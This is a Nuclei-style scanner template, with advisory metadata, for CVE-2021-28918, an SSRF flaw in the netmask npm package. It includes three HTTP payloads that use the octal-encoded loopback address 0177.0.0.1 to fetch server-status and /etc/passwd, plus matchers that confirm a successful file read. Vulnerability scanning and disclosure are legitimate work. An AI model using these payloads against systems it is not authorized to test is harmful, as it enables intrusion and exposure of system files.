Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
PoC代码[已公开]
id: CVE-2021-28918
info:
name: Netmask NPM Package - Server-Side Request Forgery
author: johnjhacking
severity: critical
description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
impact: |
An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
remediation: |
Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
reference:
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
- https://github.com/rs/node-netmask
- https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2021-28918
cwe-id: CWE-704
epss-score: 0.85896
epss-percentile: 0.99345
cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
metadata:
max-request: 3
vendor: netmask_project
product: netmask
framework: node.js
tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js
http:
- method: GET
path:
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- "Apache Server Status"
- "Server Version"
condition: and
- type: regex
regex:
- "root:.*:0:0:"
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